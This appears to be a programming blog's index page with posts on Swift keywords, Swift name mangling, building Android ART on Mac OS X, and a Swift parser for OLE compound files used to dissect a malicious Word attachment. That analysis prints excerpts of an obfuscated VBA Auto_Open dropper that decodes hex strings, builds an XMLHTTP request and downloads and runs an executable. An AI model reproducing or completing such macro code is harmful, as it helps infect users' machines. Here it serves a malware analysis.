Just An Application

September 9, 2015

Swift Miscellany: Keywords, Reserved And Escaped

There are a fair few keywords in Swift 2.0, I think we’re up to around about seventy-five at the moment, but it wasn’t until I started rummaging around in the grammar that I discovered that some of them are context senstive.

The context sensitive keywords are those which are used in only one specific context and most of the declaration modifiers

Infix Operator Declaration

  • associativity

  • left

  • none

  • precedence

  • right

are reserved keywords in the context of an infix-operator-declaration.

    infix-operator-declaration infix operator operator { infix-operator-attributesopt }
    infix-operator-attributes precedence-clauseopt associativity-clauseopt
    precedence-clause precedence precedence-level
    associativity-clause associativity associativity
    associativity left | right | none

Computed Properties/Variables

  • get

and

  • set

are reserved keywords in the context of a computed property/variable declaration.

    variable-declarationvariable-declaration-head variable-name type-annotation getter-setter-block
    getter-setter-block{ getter-clause setter-clauseopt }
    getter-setter-block{ setter-clause getter-clause }
    getter-clauseattributesopt get code-block
    setter-clauseattributesopt set setter-nameopt code-block

Property/Variable Observers

  • didSet

and

  • willSet

are keywords in the context of a stored variable observer declaration or a property observer declaration

    variable-declarationvariable-declaration-head variable-name initializer willSet-didSet-block
    variable-declarationvariable-declaration-head variable-name type-annotation initializeropt willSet-didSet-block
    willSet-didSet-block{ willSet-clause didSet-clauseopt }
    willSet-didSet-block{ didSet-clause willSet-clauseopt }
    willSet-clauseattributesopt willSet setter-nameopt code-block
    didSet-clauseattributesopt didSet setter-nameopt code-block

Metatype Type

  • Protocol

and

  • Type

are keywords in the context of a metatype-type

    metatype-typetype  . Type | type  . Protocol 

Declaration Modifiers

  • convenience

  • dynamic

  • final

  • infix

  • indirect

  • lazy

  • mutating

  • nonmutating

  • optional

  • override

  • postfix

  • prefix

  • required

  • unowned

  • weak

are reserved keywords when they appear before a declaration.

When not being used in their specific contexts reserved keywords can moonlight as identifiers which means that you can, if you want to, do this

    ...
    
    private var final    = true
    private var left     = true
    private var optional = true
    private var override = false
    private var required = true
    private var right    = false
    private var set      = true
    private var unowned  = true
    private var weak     = false
    
    ...

or this

    enum associativity
    {
        case left
        case right
        case none
    }

or even this

    func infix()
    {
    
    }

Escaped Keywords

If your favourite identifier is a non-reserved Swift keyword there is still hope.

Any Swift keyword can be used as an identifier if it is escaped, so if you have always wanted a class called class

    class `class`
    {
    
    }

or a global variable called self

    var `self` = `class`()

you can have one.

The escape character is the grave accent/backtick/backquote character (`) ASCII 96/0x60.


Copyright (c) 2015 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

November 23, 2014

Swift vs. The Compound File Binary File Format (aka OLE/COM): Part Eleven — The Grand Finale

Once we have a VBAModule we can get hold of the macro source like this.

    func getModuleSource(cf:CompoundFile, module:VBAModule) -> String?
    {
        let stream = cf.getStream(storage: ["Macros", "VBA"], name: module.streamName)
        let data   = stream?.data()
    
        if data == nil
        {
            return nil
        }
    
        let offset = Int(module.offset)
        let bytes  = data!.bytes
        let start  = bytes + offset
        let size   = Int(stream!.size) - offset
    
        let decompressor = VBADecompressor(bytes:start, nBytes:size)
    
        if let decompressed = decompressor.decompress()
        {
            return
                NSString(
                    bytes:
                        decompressed.bytes,
                    length:
                        decompressed.length,
                    encoding:
                        NSASCIIStringEncoding)
        }
        else
        {
            return nil
        }
    }

There is only one VBA module in this particular file.

It starts like this

    Attribute VB_Name = "ThisDocument"
    Attribute VB_Base = "1Normal.ThisDocument"
    Attribute VB_GlobalNameSpace = False
    Attribute VB_Creatable = False
    Attribute VB_PredeclaredId = True
    Attribute VB_Exposed = True
    Attribute VB_TemplateDerived = True
    Attribute VB_Customizable = True
    Sub Auto_Open()

    ...

and ends with the canonical deobfuscation function.

    ...
    
    Public Function 'seekritFunction'(ByVal sData As String) As String
        Dim i       As Long
        For i = 1 To Len(sData) Step 2
        'seekritFunction' = 'seekritFunction' & Chr$(Val("&H" & Mid$(sData, i, 2)))
        Next i
    End Function

In between there is a lot of stuff like this

    ...
    
    GoTo lwaasqhrsst
    Dim gqtnmnpnrcr As String
    Open 'seekritFunction'("76627362776A7873756268") For Binary As #37555
    Put #37555, , gqtnmnpnrcr
    Close #37555
    lwaasqhrsst:
    Set kaakgrln = CreateObject('seekritFunction'("4D6963") + "ros" + "oft.XML" + "HTTP")

    GoTo gerkcnuiiuy
    Dim rqxnmbhnkoq As String
    Open 'seekritFunction'("757A76737169746D6D6370") For Binary As #29343
    Put #29343, , rqxnmbhnkoq
    Close #29343
    gerkcnuiiuy:
    claofpvn = Environ('seekritFunction'("54454D50"))

    GoTo vfvfbcuqpzg
    Dim vnklmvuptaq As String
    Open 'seekritFunction'("696F78686E716667726E6A") For Binary As #70201
    Put #70201, , vnklmvuptaq
    Close #70201
    vfvfbcuqpzg:
    kaakgrln.Open 'seekritFunction'("474554"), s8RX, False

    ...

which all looks very complicated until you realise that the first six lines of each block are a no-op.

There are approximately one hundred and fifty lines to start with of which about a half are ‘noise’.

What does it do ?

When the document is opened an executable (.exe) is downloaded from a hard-wired location and then run.

Thats it ? After all that ? ‘fraid so, a bit disappointing really isn’t it ? A spell-checker or something I expect. Very helpful of it really.

Still the Swift stuff was fun and the compound file stuff was ‘interesting’ !


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

Swift vs. The Compound File Binary File Format (aka OLE/COM): Part Ten — Records, Records And More Records

The result of decompressing the contents of the dir stream object is almost as incomprehensible as the compressed data.

It consists of a large number of records of which we want a grand total of two per module.

The records we are interested in are preceded by a large number of records we are not interested in. Most of these records have a length field so it is possible to ‘skip’ them, but some of them do not, so there is nothing for it but to brute force our way through to the ones we want.

The top-level method

    func parse() -> [VBAModule]?
    {
        informationRecord()
        projectReferences()
        return modules()
    }

is reasonably tidy, the others just consist of a lot of calls to a variety of methods for reading the different types of record, for example

    private func informationRecord()
    {
        readRecord(0x01)
        readRecord(0x02)
        readRecord(0x14)
        readRecord(0x03)
        readRecord(0x04)
        readRecordTwo(0x05)
        readRecordTwo(0x06)
        readRecord(0x07)
        readRecord(0x08)
        readRecordThree(0x09)
        readRecordTwo(0x0c)
    }

The end result should be an array of containing one or more instances of VBAModule.

    struct VBAModule
    {
        let streamName  : String
        let offset      : UInt32
    }

A VBAModule is simply two pieces of information

  • the name of the stream object that contains the module’s compressed source, and

  • the offset within the stream object at which the compressed data starts.


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

November 18, 2014

Swift vs. The Compound File Binary File Format (aka OLE/COM): Part Five — Where Is Everything ? The Much Smaller Sectors Edition

The size of the sectors in a compound file is a function of the version. In a version three compound file the sector size is 512 bytes. In a version four compound file the sector size is 4096 bytes.

If a compound file contains a large number of stream objects that are smaller than a sector, and/or whose last part only partially fills a sector than there can be a considerable amount of wasted space.

To help avoid this stream objects below a certain size may be stored as a series of much smaller 64 byte sectors instead.

These sectors are in turn stored as the contents of an internal stream called the ‘mini stream’. This stream has an associated file allocation table, the ‘mini FAT’.

The mini FAT like the FAT is stored in sectors. Unlike the FAT the sector index chain for the Mini FAT is stored in the FAT.

Having read the FAT we can now read the mini FAT.

The starting sector and the number of sectors are specified by the

    firstMiniFATSector

and

    nMiniFATSectors

fields in the header

We can read the mini FAT using readFAT since the structure of the mini FAT is identical to that of the FAT.

    private func readMiniFAT(
                     header:
                         FileHeader,
                     nEntriesPerSector:
                         Int,
                     fat:
                         FileAllocationTable,
                     sectors:
                         SectorSource) -> FileAllocationTable?
    {
        if let sequence = fat.sequence(header.firstMiniFATSector)
        {
            return
                readFAT(
                        header.nMiniFATSectors,
                    nEntriesPerSector:
                        nEntriesPerSector,
                    sequence:
                        sequence,
                    sectors:
                        sectors)
        }
        else
        {
            return nil
        }
    }

Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

November 13, 2014

Swift vs. The Compound File Binary File Format (aka OLE/COM): Part One — First Open Your File

Supplies of booby trapped PDFs masquerading as invoices seem to have been exhausted. The same is true of .EXE’s concealed in ZIPs.

Fortunately an enterprising prospector somewhere has struck a rich seam of ‘word’ documents of dubious provenance which are now being made freely available to me and doubtless to many other lucky people as well.

Not being able to open my document in the approved manner I am unable to experience at first hand the planned ‘surprise’, but I don’t see why I should miss all the fun so I thought I would open my document in an unapproved manner by pulling it to bits programatically to see if I could find out what it was intended to do, although I could probably guess, and more interestingly, how.

In the case of PDFs the surprise involved Javascript and a buffer overflow. This time I though it was more likely to involve macros so I wondered if some Visual Basic code might put in an appearance at some point.

After a bit of rummaging around I came up with the specification for the likely format of my ‘word’ document.

Strangely the specification is a PDF.

According to the first paragraph of the specification the format has no less than three names

This document specifies a new structure called the Microsoft Compound File Binary (CFB) file format, also known as the Object Linking and Embedding (OLE) or Component Object Model (COM) structured storage compound file implementation binary file format. This structure name can be shortened to compound file.

or is that two names ?

Anyway in what follows I will follow the suggestion that the name can be shortened to compound file although I do reserve the right to put it in ‘quotes’ on occasion.

I was vaguely aware that whatever it was called it was some kind of container format but I was somewhat taken aback do discover exactly how ‘baroque’ it was. Still, in for a penny, in for a pound.

The choice of Swift for the task in hand was based on the fact that I wanted to do something real-worldish with it as a break from my ongoing forays into the low-level implementation details.

Using Xcode to create a ‘Command Line Tool’ with the language set to Swift results in a file called

    main.swift

which contains this

    import Foundation
    
    println("Hello, World!")

which is all very canonical and stuff, but where is main and where are the arguments ?

In a dangerous break with tradition a Swift command line program does not have to have a main function. This is clearly ‘not right’.

Not being irredeemably iconoclastic however it does enable access to the command line arguments via the variables

    C_ARGC

and

    C_ARGV

As is apparent from the names these correspond to the the

    argc

and

    argv

arguments passed to the standard C/C++ main function.

Using these we can set the world to rights by building ourselves an argument list and handing it to our very own main function.

    let argc          = Int(C_ARGC)
    var argp          = C_ARGV
    var argv:[String] = []
    
    for i in 0 ..< argc
    {
        if let s = String(UTF8String: argp.memory)
        {
            argv.append(s)
        }
        else
        {
            break
        }
        ++argp
    }
        
    func main(args: [String])
    {
        ...
    }
        
    if argv.count == argc
    {
        main(argv)
    }

Now how do you open a file in Swift ?

It is very easy to forget when starting to use Swift that if you know how to do something in Objective-C you will nearly always know how to do it in Swift.

If you are happy to work with the contents of the file as one lump you can do this

    let data = NSData(contentsOfFile:fileName)

This is simply the Swift equivalent of this

    NSData* data = [NSData dataWithContentsOfFile:fileName];.

in Objective-C

Alternatively you can do this and then read the contents as required

    let fh = NSFileHandle(forReadingAtPath:fileName)

This is the Swift equivalent of doing this

     NSFileHandle* fh = [NSFileHandle fileHandleForReadingAtPath:fileName];

in Objective-C

A general rule of thumb is that if it is an Objective-C class factory method it will be a Swift constructor with a keyword argument that results from chopping off the Objective-C class name from the front of the method name, except when it isn't as in the first example when the 'with' goes missing as well.


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog's author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

October 29, 2014

So Swift Then: Mangled Function Names And Function Types — Function Types Go Recursive

Now we have a model of how function types are encoded lets see if we can break it.

What happens if we use it on a function which returns a function.

Starting with the function

    func bass() -> ()
    {
    }

Now we have a function to return like so

    func cod() -> () -> ()
    {
        return bass
    }

Compiling cod gives us the symbol

    __TF4xper3codFT_FT_T_

giving us

    FT_FT_T_

as the function type.

Now for the model.

Starting by creating some useful objects.

    let encoder     = Encoder()
    let builder     = FunctionTypeBuilder()
    let ftVoidVoid  = builder.build()

then

    let ft6000 = builder.returnType(ftVoidVoid).build()

    println(ft6000.encode(encoder))

prints

    FT_FT_T_

We’re off to flying start.

This is a function which returns a function which returns a function

    func dab() -> () -> () -> ()
    {
        return cod
    }

and compiling it gives us the symbol

    __TF4xper3dabFT_FT_FT_T_

giving us

    FT_FT_FT_T_

as the function type.

This

    let ft6001 = builder.returnType(ft6000).build()
    
    println(ft6001.encode(encoder))

prints

    FT_FT_FT_T_

so that’s alright.

A function that takes an Int and a function as arguments

    func eel(x: Int, f: (Int) -> (Int)) -> Int
    {
        return f(x)
    }

Compiling it gives us the symbol

    __TF4xper3eelFTSiFSiSi_Si

giving us

    FTSiFSiSi_Si

as the function type.

    let ftIntInt = builder.intParam().intReturnType().build()
    let ft6002   = builder.intParam().param(ftIntInt).intReturnType().build()
    
    println(ft6002.encode(encoder))

prints

    FTSiFSiSi_Si

A function that takes a function that takes two Ints and returns a pair or Ints

    func flounder(f: (Int, Int) -> (Int, Int))
    {
    }

Compiling it gives us the symbol

    __TF4xper8flounderFFTSiSi_TSiSi_T_

giving us

    FFTSiSi_TSiSi_T_

as the function type.

    let intType  = BuiltinType.IntType
    let fnType   = builder.tupleTypeParam(intType, intType).tupleReturnType(intType, intType).build()
    let ft6003   = builder.param(fnType).build()
    
    println(ft6003.encode(encoder))

prints

    FFTSiSi_TSiSi_T_

which of course it would !

A function that takes a function which returns a function as its argument and returns the result of calling that function

    func goby(f: () -> () -> ()) -> () -> ()
    {
        return f()
    }

Pick the parentheses out of that.

The compiler having picked the parentheses out comes up with the symbol

    __TF4xper4gobyFFT_FT_T_FT_T_

which gives us the function type

    FFT_FT_T_FT_T_

and we’ll just have to trust that it knows what its doing.

    let ft6004   = builder.param(ft6000).returnType(ftVoidVoid).build()
    
    println(ft6004.encode(encoder))

prints

    FFT_FT_T_FT_T_

so if the compiler knows what its doing so does the model, and possibly vice versa.

And that’s enough of that without a dedicated test harness that can count ‘F’s and ‘T’s and stuff.

It certainly looks as though the model’s behaviour matches that of the compiler when it comes to function types as arguments and return types.


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

September 28, 2014

Building The Android Runtime (ART) For Mac OS X: Part Five — 64 Bits Considered 32 Bits Too Many

As we have seen, if mmap is not passsed the

    MAP_FIXED

flag, then, if the request is for memory somewhere in the low 4GB of the address space although the call succeeds the resulting memory is not in the low 4GB at all.

Setting the MAP_FIXED flag does not help. The call to mmap simply fails.

In short, the problem is that Mac OS X will not allocate memory in the low 4GB of the address space of a 64-bit executable, irrespective of the start address.

The fact that the low_4gb argument to the MemMap::MapAnonymous method is hard-wired to true when called from the Heap::MapAnonymousPreferredAddress method implies that this is an absolute requirement in this case. A possible implication of this is that the some or all of the code is written on the assumption that addresses are necessarily 32 bits so relaxing the constraint is probably not a good idea.

A quick check shows that other calls MemMap::MapAnonymous also pass true as the low_4gb argument, so those calls would also have to be changed as well.

Fortunately there is a workaround of sorts.

One way to get the OS to allocate memory in the first 4GB of the address space of a process is to ensure that the process only has a 4GB address space, i.e, turn dex2oat into a 32-bit executable.

There is probably a ‘proper’ way to do this, but the brute force way is to change this

    ...
        
    ifeq ($(ART_BUILD_HOST_NDEBUG),true)
      $(eval $(call build-art-executable,dex2oat,$(DEX2OAT_SRC_FILES),libart-compiler,art/compiler,host,ndebug))
    endif
    ifeq ($(ART_BUILD_HOST_DEBUG),true)
      $(eval $(call build-art-executable,dex2oat,$(DEX2OAT_SRC_FILES),libartd-compiler,art/compiler,host,debug))
    endif
        
    ...

in the file

    $(ANDROID_SRC)/art/dex2oat/Android.mk

to this

    ...
        
    ifeq ($(ART_BUILD_HOST_NDEBUG),true)
      $(eval $(call build-art-executable,dex2oat,$(DEX2OAT_SRC_FILES),libart-compiler,art/compiler,host,ndebug, 32))
    endif
    ifeq ($(ART_BUILD_HOST_DEBUG),true)
      $(eval $(call build-art-executable,dex2oat,$(DEX2OAT_SRC_FILES),libartd-compiler,art/compiler,host,debug, 32))
    endif
        
    ...

Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

September 26, 2014

Building The Android Runtime (ART) For Mac OS X: Part Three — Let’s Build ! Again !

Restarting the build after the modification to $(ANDROID_SRC)/art/Android.mk results in another unhealthy number of compiler warnings followed, eventually, by this (reformatted for clarity)

    ...
    
    dex2oatd I  2426 823971 art/dex2oat/dex2oat.cc:1266] out/host/darwin-x86/bin/dex2oatd \
       --runtime-arg -Xms64m \
       --runtime-arg -Xmx64m \
       --image-classes=frameworks/base/preloaded-classes \
       --dex-file=out/host/common/obj/JAVA_LIBRARIES/core-libart-hostdex_intermediates/javalib.jar \
       --dex-file=out/host/common/obj/JAVA_LIBRARIES/conscrypt-hostdex_intermediates/javalib.jar \
       --dex-file=out/host/common/obj/JAVA_LIBRARIES/okhttp-hostdex_intermediates/javalib.jar \
       --dex-file=out/host/common/obj/JAVA_LIBRARIES/core-junit-hostdex_intermediates/javalib.jar \
       --dex-file=out/host/common/obj/JAVA_LIBRARIES/bouncycastle-hostdex_intermediates/javalib.jar \
       --dex-location=out/host/darwin-x86/framework/core-libart-hostdex.jar \
       --dex-location=out/host/darwin-x86/framework/conscrypt-hostdex.jar \
       --dex-location=out/host/darwin-x86/framework/okhttp-hostdex.jar \
       --dex-location=out/host/darwin-x86/framework/core-junit-hostdex.jar \
       --dex-location=out/host/darwin-x86/framework/bouncycastle-hostdex.jar \
       --oat-file=out/host/darwin-x86/framework/x86_64/core.oat \
       --oat-location= \
       --image=out/host/darwin-x86/framework/x86_64/core.art \
       --base=0x60000000 \
       --instruction-set=x86_64 \
       --instruction-set-features= \
       --host \
       --android-root=out/host/darwin-x86 \
       --include-patch-information

It all goes ominously quiet until you get this

    dex2oatd W 2426 823972 dex2oat did not finish after 300 seconds

and then, after an interminable wait, you get this

    dex2oatd F 2426 823972 dex2oat did not finish after 1800 seconds
    make: *** [out/host/darwin-x86/framework/x86_64/core.art] Error 1

and everything stops.

Obviously dex2oatd is very busy doing something or other and it never gets a chance to finish, except that if you look at the process stats during the interminable wait for something to happen, it isn’t. The CPU load is very light and nothing else is happening.

It looks in fact as though dex2oatd is simply spinning and doing no work at all.

Using the arcane debugging technique known to those of us who worked on the OS formerly known as S*****n as The Way Of The printf reveals that the dex2oatd process appears to be sat in the method

    MemMap::MapAnonymous

which has been called from the method

    Heap::MapAnonymousPreferredAddress

which in turn has been called from the constructor

    Heap::Heap

which in turn has been called from

    Runtime::Init

In short, dex2oatd hasn’t even started, its just spent 1800 seconds attempting to initialize its Runtime.


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

September 25, 2014

Building The Android Runtime (ART) For Mac OS X: Part Two — Let’s Build !

To do the build

One

Copy the necessary Android ‘source’ to a directory ($(ANDROID_SRC)) on the case-sensitive file system.

Two

Set the environment variable

    DEVELOPER_DIR

to the path to the Developer directory within the version of the Xcode.app to use to do the build, for example

    export DEVELOPER_DIR=/Users/simon/Dev/xcode/Xcode.app/Contents/Developer

Three

Set the environment variable JAVA_HOME to the Home directory of the version of JDK 7 to use to do the build, for example

    export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.7.0_45.jdk/Contents/Home

Four

Change to the directory containing the Android source and ‘source’ the file build/envsetup.sh to set up the Android build environment

    . build/envsetup.sh

Five

Start the build

    m build-art-host

What Happens Next ?

Eventually, after an unhealthy number of compiler warnings, this happens

    make: *** No rule to make target `out/host/darwin-x86/lib/libjavacore.so', needed by `build-art-host'.  Stop.

A quick check reveals that there is a

    libjavacore.dylib

in

    out/host/darwin-x86/lib

but not a

    libjavacore.so

which is what you would expect on Mac OS X.

Searching for references to libjavacore.so in the art build system turns up

    ...
    
    # ART_HOST_DEPENDENCIES depends on Android.executable.mk above for ART_HOST_EXECUTABLES
    ART_HOST_DEPENDENCIES := \
	    $(ART_HOST_EXECUTABLES) \
	    $(HOST_OUT_JAVA_LIBRARIES)/core-libart-hostdex.jar \
	    $(ART_HOST_OUT_SHARED_LIBRARIES)/libjavacore$(ART_HOST_SHLIB_EXTENSION)
    ART_TARGET_DEPENDENCIES := \
	    $(ART_TARGET_EXECUTABLES) \
	    $(TARGET_OUT_JAVA_LIBRARIES)/core-libart.jar \
	    $(TARGET_OUT_SHARED_LIBRARIES)/libjavacore.so
    ifdef TARGET_2ND_ARCH
    ART_TARGET_DEPENDENCIES += $(2ND_TARGET_OUT_SHARED_LIBRARIES)/libjavacore.so
    endif
    ifdef HOST_2ND_ARCH
    ART_HOST_DEPENDENCIES += $(2ND_HOST_OUT_SHARED_LIBRARIES)/libjavacore.so
    endif
    
    ...

in the file

    $(ANDROID_SRC)/art/Android.mk

It looks as though

    ...
    
    ifdef HOST_2ND_ARCH
    ART_HOST_DEPENDENCIES += $(2ND_HOST_OUT_SHARED_LIBRARIES)/libjavacore.so
    endif
    
    ...

should probably be

    ...
    
    ifdef HOST_2ND_ARCH
    ART_HOST_DEPENDENCIES += $(2ND_HOST_OUT_SHARED_LIBRARIES)/libjavacore$(ART_HOST_SHLIB_EXTENSION)
    endif
    
    ...

Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

Building The Android Runtime (ART) For Mac OS X: Part One — Prerequisites

Mac OS X

I am using Mac OS X 10.9.5.

I am not sure whether the exact version of the OS matters.

Xcode And Xcode Command Line Tools

To build am using Xcode 5.1 plus the corresponding command line tools.

JDK 7

To build I am using JDK 7. The version reported by java -version is

    1.7.0_45

It has to be JDK 7.

A Case Sensitive File System

You will need a case-sensitive file system which probably isn’t what you have by default, so you will need an external drive, a USB stick or possibly a .dmg that has been formatted appropriately.

I have successfully used an external drive and a USB stick, both formatted as

    Mac OS Extended(Case-sensitive, Journaled)

I haven’t tried the .dmg approach.

Some Android Source

I am using the the following specific subset of the Android ‘source’ all obtained within the last couple of days courtesy
of repo sync.

  • abi

  • art

  • bionic

  • build

  • dalvik

  • external/bouncycastle

  • external/conscrypt

  • external/expat

  • external/fdlibm

  • external/gtest

  • external/icu

  • external/junit

  • external/libcxx

  • external/libcxxabi

  • external/libphonenumber

  • external/llvm

  • external/okhttp

  • external/openssl

  • external/stlport

  • external/valgrind

  • external/vixl

  • external/zlib

  • frameworks/base

  • frameworks/compile/mclinker

  • frameworks/native

  • libcore

  • libnativehelper

  • prebuilts/clang/darwin-x86/host/3.5

  • prebuilts/misc

  • prebuilts/sdk

  • system/core

I think this is the absolute minimum subset you need to build with.

I assume it would also work if you simply have the entire source tree but I haven’t tried it.


Copyright (c) 2014 By Simon Lewis. All Rights Reserved.

Unauthorized use and/or duplication of this material without express and written permission from this blog’s author and owner Simon Lewis is strictly prohibited.

Excerpts and links may be used, provided that full and clear credit is given to Simon Lewis and justanapplication.wordpress.com with appropriate and specific direction to the original content.

Older Posts »

Create a free website or blog at WordPress.com.

%d bloggers like this: